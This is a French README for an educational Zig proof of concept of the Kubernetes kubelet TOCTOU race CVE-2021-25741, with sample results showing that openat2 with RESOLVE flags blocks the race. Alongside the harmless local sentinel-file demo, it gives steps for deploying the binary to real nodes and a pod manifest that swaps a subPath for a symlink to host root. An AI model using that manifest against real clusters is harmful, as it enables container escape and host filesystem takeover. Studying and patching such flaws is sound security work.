
CVE-2021-25741 POC in Zig
Exploit éducatif de la race condition TOCTOU (Time Of Check, Time Of Use) qui est à l'origine de CVE-2021-25741, une vulnérabilité dans le kubelet Kubernetes.
Le projet démontre en local (sans cluster K8s) comment un swap concurrent de symlink peut contourner une vérification de chemin entre lstat() et open(), et prouve que openat2() avec les flags RESOLVE_* est la solution.
Quand le kernel résout un chemin comme /a/b/c/file, il le fait composant par composant. À chaque étape, si le composant est un symlink, le kernel le suit automatiquement. Cette résolution n'est pas atomique — le filesystem peut changer entre deux étapes.
Le kubelet Kubernetes faisait exactement ce pattern vulnérable :
1. CHECK : lstat(subPath) → "c'est un répertoire, c'est safe"
↕ FENÊTRE DE RACE — un process dans le container swap le répertoire pour un symlink
2. USE : mount(subPath) → suit le symlink, monte le filesystem host
Entre la vérification et le mount, un process malveillant dans le container pouvait remplacer le subPath par un symlink vers / du host, obtenant ainsi un accès complet au filesystem host.
Le syscall openat2 (kernel 5.6+) résout le chemin et ouvre le fichier de manière atomique, avec des contraintes :
Avec openat2, il n'y a pas de fenêtre TOCTOU : si un symlink apparaît pendant la résolution, le syscall échoue immédiatement.
Deux threads coopèrent pour exploiter la fenêtre TOCTOU :
workdir/
├── legit_dir/
│ └── secret.txt → contient "LEGIT"
├── symlink_target/
│ └── secret.txt → contient "PWNED"
└── target/ → swappé entre vrai dir et symlink
Tourne en boucle ultra-rapide et swap atomiquement target/ entre deux états via renameat2(RENAME_EXCHANGE) :
target/ est un vrai répertoire (contient secret.txt = "LEGIT")target/ est un symlink vers symlink_target/ (contient secret.txt = "PWNED")Un seul syscall par swap = fenêtre de race maximale.
Reproduit le pattern vulnérable du kubelet :
fstatat("target", AT_SYMLINK_NOFOLLOW) — vérifie que c'est un répertoireopenat(dirfd, "target/secret.txt", O_RDONLY) — ouvre le fichierread() — lit le contenu"PWNED" → race win (le symlink a été suivi)"LEGIT" → race loss (c'était bien le vrai répertoire)En mode protégé (--use-openat2), l'étape 3 utilise openat2 avec RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH. Si un symlink est présent, le kernel retourne ELOOP au lieu de le suivre.
src/
├── main.zig # Point d'entrée : parse CLI, crée le shared state, spawn les
│ # threads, mesure le temps, affiche les résultats
│
├── racer.zig # Thread racer : prépare l'état initial (target → symlink),
│ # puis boucle sur renameat2(RENAME_EXCHANGE) pour swapper
│ # target/ et legit_dir/ en continu
│
├── victim.zig # Thread victim : boucle N itérations de fstatat → delay →
│ # openat/openat2 → read → compare "LEGIT" vs "PWNED"
│
├── setup.zig # Crée l'arborescence de test : workdir/, legit_dir/,
│ # symlink_target/, target/ avec les fichiers sentinel
│
├── syscalls.zig # Constantes et wrappers pour les syscalls raw :
│ # - open_how struct (kernel UAPI, 3×u64)
│ # - RESOLVE_* flags
│ # - RENAME_EXCHANGE (= 2)
│ # - openat2() via linux.syscall4(.openat2, ...)
│ # - rename_exchange() via linux.renameat2()
│ # - Helpers : is_err(), to_errno(), to_fd()
│
└── stats.zig # Compteurs atomiques lock-free (std.atomic.Value(u64))
# pour wins, losses, errors, eloop + affichage formaté
Tous les syscalls sont appelés via std.os.linux.* directement (pas de wrappers std.fs ou std.posix). Le seul syscall sans wrapper dans la stdlib Zig 0.15 est openat2, qu'on appelle via linux.syscall4(.openat2, ...) avec une struct open_how définie manuellement depuis les headers UAPI du kernel.
| Outil | Version | Pourquoi |
|---|---|---|
| Zig | 0.15.x | Compilateur + cross-compilation |
Le binaire est compilé en statique (musl libc) et tourne sur n'importe quel Linux sans dépendances.
Kernel minimum :
renameat2(RENAME_EXCHANGE)openat2 avec RESOLVE_* (nécessaire uniquement pour --use-openat2)Docker Desktop et colima sur Mac utilisent un kernel 6.x — tout est supporté.
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# x86_64 (pour des nodes x86)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
Le binaire est dans zig-out/bin/race-exploit.
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked
# Démarrer le runtime Docker (si macOS)
colima start
# Lancer l'exploit (mode vulnérable par défaut)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000
# Mode vulnérable (openat) — la race fonctionne
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000
# Mode protégé (openat2) — la race est bloquée
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --use-openat2
Ou avec le script qui lance les deux :
./scripts/run_in_docker.sh --iterations 10000
Le paramètre --delay-us ajoute un délai entre le lstat (check) et le openat (use). Plus le délai est long, plus la fenêtre TOCTOU est large, et plus le win rate augmente :
# Sans délai — win rate ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000
# 10µs — win rate ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 10
# 100µs — win rate ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 100
# 1000µs (1ms) — win rate ~50% (plafonné, le racer swap bien plus vite)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --delay-us 1000
Dans un vrai kubelet, la latence entre la vérification du subPath et le bind mount est de l'ordre de plusieurs millisecondes (appels API, préparation du mount namespace, etc.), ce qui rend la race très fiable en conditions réelles.
race-exploit [options]
--iterations N Nombre de tentatives (défaut: 10000)
--delay-us N Microsecondes entre lstat et open (défaut: 0)
--use-openat2 Utiliser openat2 avec RESOLVE_* (mode protégé)
--workdir PATH Répertoire de travail (défaut: /tmp/race-workdir)
--help Afficher l'aide
L'exploit n'a pas besoin de Kubernetes pour fonctionner — c'est une race condition Linux fondamentale. Mais tu peux le lancer sur un vrai node pour tester dans les mêmes conditions que le kubelet.
# Cross-compiler pour l'architecture du node
# ARM64 (EKS avec Graviton, GKE avec T2A, etc.)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# ou x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
# Copier le binaire sur le node
scp zig-out/bin/race-exploit user@node:/tmp/
# Lancer sur le node
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100
# Vérifier la version du kernel (>= 5.6 pour openat2)
ssh user@node uname -r
Créer un pod qui embarque le binaire et l'exécute :
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: race-exploit
spec:
containers:
- name: race
image: alpine:latest
command: ["/app/race-exploit"]
args: ["--iterations", "50000", "--delay-us", "100"]
volumeMounts:
- name: exploit-bin
mountPath: /app
volumes:
- name: exploit-bin
hostPath:
path: /tmp # le binaire doit être copié ici au préalable
restartPolicy: Never
# Copier le binaire sur le node d'abord
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit
# Lancer le pod
kubectl apply -f race-pod.yaml
kubectl logs race-exploit
Pour reproduire le scénario exact de CVE-2021-25741, il faut exploiter la race pendant que le kubelet prépare un bind mount d'un volume avec subPath :
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: subpath-race
spec:
containers:
- name: attacker
image: alpine:latest
command: ["/bin/sh", "-c"]
args:
- |
# Ce script tourne dans le container et swap le subPath
# pendant que le kubelet prépare le mount
while true; do
rm -rf /vol/subdir
ln -s / /vol/subdir
mkdir -p /vol/subdir
done
volumeMounts:
- name: shared-vol
mountPath: /vol
subPath: subdir # ← le kubelet vérifie puis monte ce chemin
volumes:
- name: shared-vol
emptyDir: {}
Important : cette attaque ne fonctionne que sur des kubelets non patchés (versions < 1.22.2, < 1.21.5, < 1.20.11). Les kubelets récents utilisent openat2 avec RESOLVE_NO_SYMLINKS pour résoudre le subPath.
Pour vérifier si ton kubelet est vulnérable :
# Version du kubelet
kubectl get nodes -o wide
# Vérifier si openat2 est utilisé dans le kubelet (sur le node)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat (vulnerable)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3749
Race wins: 940 (25.07%)
Race losses: 2809 (74.93%)
Errors: 0 (0.00%)
Duration: 14ms
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat2 (protected)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3105
Race wins: 0 (0.00%)
Race losses: 2283 (73.53%)
Errors: 0 (0.00%)
ELOOP (blocked): 822 (26.47%)
Duration: 12ms
Observations clés :
lstat voit un symlink et ne tente pas l'open)openat, ~25% des tentatives aboutissent à un win (le fichier "PWNED" est lu)openat2, 0% de wins — chaque tentative où le racer a swappé est détectée par le kernel qui retourne ELOOPLe fichier définit les constantes manquantes dans la stdlib Zig 0.15 :
// renameat2(2) : swap atomique de deux entrées filesystem
pub const RENAME_EXCHANGE: u32 = 2;
// openat2(2) : struct passée au syscall
pub const open_how = extern struct {
flags: u64 = 0, // O_RDONLY, O_WRONLY, etc.
mode: u64 = 0, // permissions (si O_CREAT)
resolve: u64 = 0, // RESOLVE_* flags
};
// Flags de résolution pour open_how.resolve
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // refuse tout symlink
pub const RESOLVE_BENEATH: u64 = 0x08; // interdit de remonter au-dessus du dirfd
openat2 est appelé via linux.syscall4(.openat2, ...) car Zig 0.15 a le numéro de syscall mais pas de wrapper.
Au démarrage, il transforme target/ en symlink vers symlink_target/, puis boucle sur deux renameat2(RENAME_EXCHANGE) qui swappent target et legit_dir :
Itération 1: target=dir, legit_dir=symlink ← victim voit un dir, ouvre normalement
Itération 2: target=symlink, legit_dir=dir ← victim suit le symlink → PWNED
Reproduit lstat → delay → openat/openat2 → read → compare. Les résultats sont comptés dans des compteurs atomiques lock-free (fetchAdd avec ordering .monotonic).
Crée l'arborescence avec mkdirat, openat(O_CREAT), et write — tous via raw syscalls. Deux fichiers sentinel : "LEGIT" dans le vrai répertoire, "PWNED" dans la cible du symlink.
# Tracer tous les syscalls des deux threads
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f /app/race-exploit --iterations 100
# Filtrer les syscalls intéressants
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
/app/race-exploit --iterations 100
# Voir les ELOOP de openat2
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat2 \
/app/race-exploit --iterations 100 --use-openat2
Note : strace n'est pas installé par défaut dans Alpine. Utiliser alpine:edge ou installer avec apk add strace :
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"
| Flag | Effet |
|---|
RESOLVE_NO_SYMLINKS | Refuse de suivre tout symlink → retourne ELOOP |
RESOLVE_BENEATH | Refuse de sortir du répertoire de base → retourne EXDEV |
RESOLVE_IN_ROOT | Traite le dirfd comme la racine du filesystem |
RESOLVE_NO_XDEV | Refuse de traverser des points de montage |
| Docker | quelconque | Pour exécuter le binaire Linux sur Mac |
| colima | quelconque | Runtime Docker sur macOS (ou Docker Desktop) |
| Syscall | Rôle dans l'exploit | Wrapper Zig |
|---|
renameat2(RENAME_EXCHANGE) | Swap atomique target ↔ legit_dir | linux.renameat2() |
fstatat(AT_SYMLINK_NOFOLLOW) | lstat : vérifie si target est un dir ou symlink | linux.fstatat() |
openat(O_RDONLY) | Ouvre le fichier en suivant les symlinks (vulnérable) | linux.openat() |
openat2(RESOLVE_NO_SYMLINKS) | Ouvre le fichier en refusant les symlinks (fix) | linux.syscall4(.openat2, ...) |
symlinkat | Crée le symlink initial target → symlink_target | linux.symlinkat() |
unlinkat | Supprime target avant de le recréer comme symlink | linux.unlinkat() |
mkdirat | Crée les répertoires de test | linux.mkdirat() |
read / write / close | IO sur les fichiers sentinel | linux.read() / linux.write() / linux.close() |